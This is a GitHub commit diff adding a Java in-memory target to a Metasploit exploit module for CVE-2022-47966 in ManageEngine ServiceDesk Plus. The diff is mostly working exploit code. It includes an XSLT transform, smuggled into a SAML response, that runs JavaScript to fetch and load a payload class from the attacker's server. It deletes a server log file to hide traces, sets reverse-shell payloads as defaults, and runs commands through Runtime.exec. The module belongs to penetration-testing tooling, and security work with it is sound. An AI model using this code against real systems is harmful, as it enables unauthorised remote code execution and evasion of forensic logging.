Skip to content

Commit

Permalink
Land #18515, Add java target for ManageEngine ServiceDesk Plus CVE-20…
Browse files Browse the repository at this point in the history
…22-47966

Merge branch 'land-18515' into upstream-master
  • Loading branch information
bwatters-r7 committed Jan 4, 2024
2 parents 50579fb + 6056081 commit cdfa421
Showing 1 changed file with 104 additions and 32 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::Java::HTTP::ClassLoader
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
Expand Down Expand Up @@ -37,18 +38,25 @@ def initialize(info = {})
['URL', 'https://github.com/horizon3ai/CVE-2022-47966'],
['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis']
],
'Platform' => ['win', 'unix', 'linux'],
'Payload' => {
'BadChars' => "\x27"
},
'Platform' => ['win', 'unix', 'linux', 'java'],
'Targets' => [
[
'Java (in-memory)',
{
'Type' => :java,
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'DefaultOptions' => { 'Payload' => 'java/shell_reverse_tcp' }
},
],
[
'Windows EXE Dropper',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :windows_dropper,
'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }
'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' },
'Payload' => { 'BadChars' => "\x27" }
}
],
[
Expand All @@ -57,7 +65,8 @@ def initialize(info = {})
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :windows_command,
'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }
'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' },
'Payload' => { 'BadChars' => "\x27" }
}
],
[
Expand All @@ -66,7 +75,8 @@ def initialize(info = {})
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => { 'Payload' => 'cmd/unix/python/meterpreter/reverse_tcp' }
'DefaultOptions' => { 'Payload' => 'cmd/unix/python/meterpreter/reverse_tcp' },
'Payload' => { 'BadChars' => "\x27" }
}
],
[
Expand All @@ -76,14 +86,15 @@ def initialize(info = {})
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => { 'Payload' => 'linux/x64/meterpreter/reverse_tcp' },
'CmdStagerFlavor' => %w[curl wget echo lwprequest]
'CmdStagerFlavor' => %w[curl wget echo lwprequest],
'Payload' => { 'BadChars' => "\x27" }
}
]
],
'DefaultOptions' => {
'RPORT' => 8080
},
'DefaultTarget' => 1,
'DefaultTarget' => 0,
'DisclosureDate' => '2023-01-10',
'Notes' => {
'Stability' => [CRASH_SAFE,],
Expand Down Expand Up @@ -137,13 +148,56 @@ def encode_begin(real_payload, reqs)

def exploit
case target['Type']
when :java
# Start the HTTP server to serve the payload
start_service
# Trigger a loadClass request via java.net.URLClassLoader
trigger_urlclassloader
# Handle the payload
handler
when :windows_command, :unix_cmd
execute_command(payload.encoded)
when :windows_dropper, :linux_dropper
execute_cmdstager(delay: datastore['DELAY'])
end
end

def trigger_urlclassloader
# Here we construct a XSLT transform to load a Java payload via URLClassLoader.
url = get_uri

vars = Rex::RandomIdentifier::Generator.new

# stager for javascript engine
java_stager = <<~EOS
var #{vars[:file]} = Java.type(&quot;java.io.File&quot;);
new #{vars[:file]}(&quot;../logs/serverout0.txt&quot;).delete();
var #{vars[:str_arr]} = Java.type(&quot;java.lang.String[]&quot;);
var c = new java.net.URLClassLoader([new java.net.URL(&quot;#{url}&quot;)]).loadClass(&quot;metasploit.Payload&quot;);
c.getMethod(&quot;main&quot;, java.lang.Class.forName(&quot;[Ljava.lang.String;&quot;)).invoke(null, [new #{vars[:str_arr]}(1)]);
EOS

transform = <<~EOT
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
<xsl:stylesheet version="1.0"
xmlns:sem="http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager"
xmlns:se="http://xml.apache.org/xalan/java/javax.script.ScriptEngine"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:variable name="engineobject" select="sem:new()"/>
<xsl:variable name="jsobject" select="sem:getEngineByName($engineobject,'javascript')"/>
<xsl:variable name="out" select="se:eval($jsobject,'#{java_stager}')"/>
<xsl:value-of select="$out"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
EOT
send_transform(transform)
end

def execute_command(cmd, _opts = {})
case target['Type']
when :windows_dropper
Expand All @@ -154,14 +208,31 @@ def execute_command(cmd, _opts = {})
end
cmd = cmd.encode(xml: :attr).gsub('"', '')

vars = Rex::RandomIdentifier::Generator.new

transform = <<~EOT
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
<xsl:stylesheet version="1.0"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:variable name="#{vars[:rt_obj]}" select="rt:getRuntime()"/>
<xsl:variable name="#{vars[:exec]}" select="rt:exec($#{vars[:rt_obj]},'#{cmd}')"/>
<xsl:variable name="#{vars[:out]}" select="ob:toString($#{vars[:exec]})"/>
<xsl:value-of select="$#{vars[:out]}"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
EOT

send_transform(transform)
end

def send_transform(transform)
assertion_id = "_#{SecureRandom.uuid}"
# Randomize variable names and make sure they are all different using a Set
vars = Set.new
loop do
vars << Rex::Text.rand_text_alpha_lower(5..8)
break unless vars.size < 3
end
vars = vars.to_a
saml = <<~EOS
<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response
Expand All @@ -179,21 +250,7 @@ def execute_command(cmd, _opts = {})
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
<ds:Reference URI="##{assertion_id}">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
<xsl:stylesheet version="1.0"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:variable name="#{vars[0]}" select="rt:getRuntime()"/>
<xsl:variable name="#{vars[1]}" select="rt:exec($#{vars[0]},'#{cmd}')"/>
<xsl:variable name="#{vars[2]}" select="ob:toString($#{vars[1]})"/>
<xsl:value-of select="$#{vars[2]}"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
#{transform}
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
<ds:DigestValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(32))}</ds:DigestValue>
</ds:Reference>
Expand All @@ -213,7 +270,10 @@ def execute_command(cmd, _opts = {})
}
})

unless res&.code == 500
# Java payload returns a nil response on successful execution of payload
if target['Type'] == :java && res.nil?
print_status('Exploit completed.')
elsif res&.code != 500
lines = res.get_html_document.xpath('//body').text.lines.reject { |l| l.strip.empty? }.map(&:strip)
unless lines.any? { |l| l.include?('URL blocked as maximum access limit for the page is exceeded') }
elog("Unkown error returned:\n#{lines.join("\n")}")
Expand All @@ -225,4 +285,16 @@ def execute_command(cmd, _opts = {})
res
end

def on_request_uri(cli, request)
case target['Type']
when :java
super(cli, request)
else
client = cli.peerhost
print_status("Client #{client} requested #{request.uri}")
print_status("Sending payload to #{client}")
send_response(cli, exe)
end
end

end

0 comments on commit cdfa421

Please sign in to comment.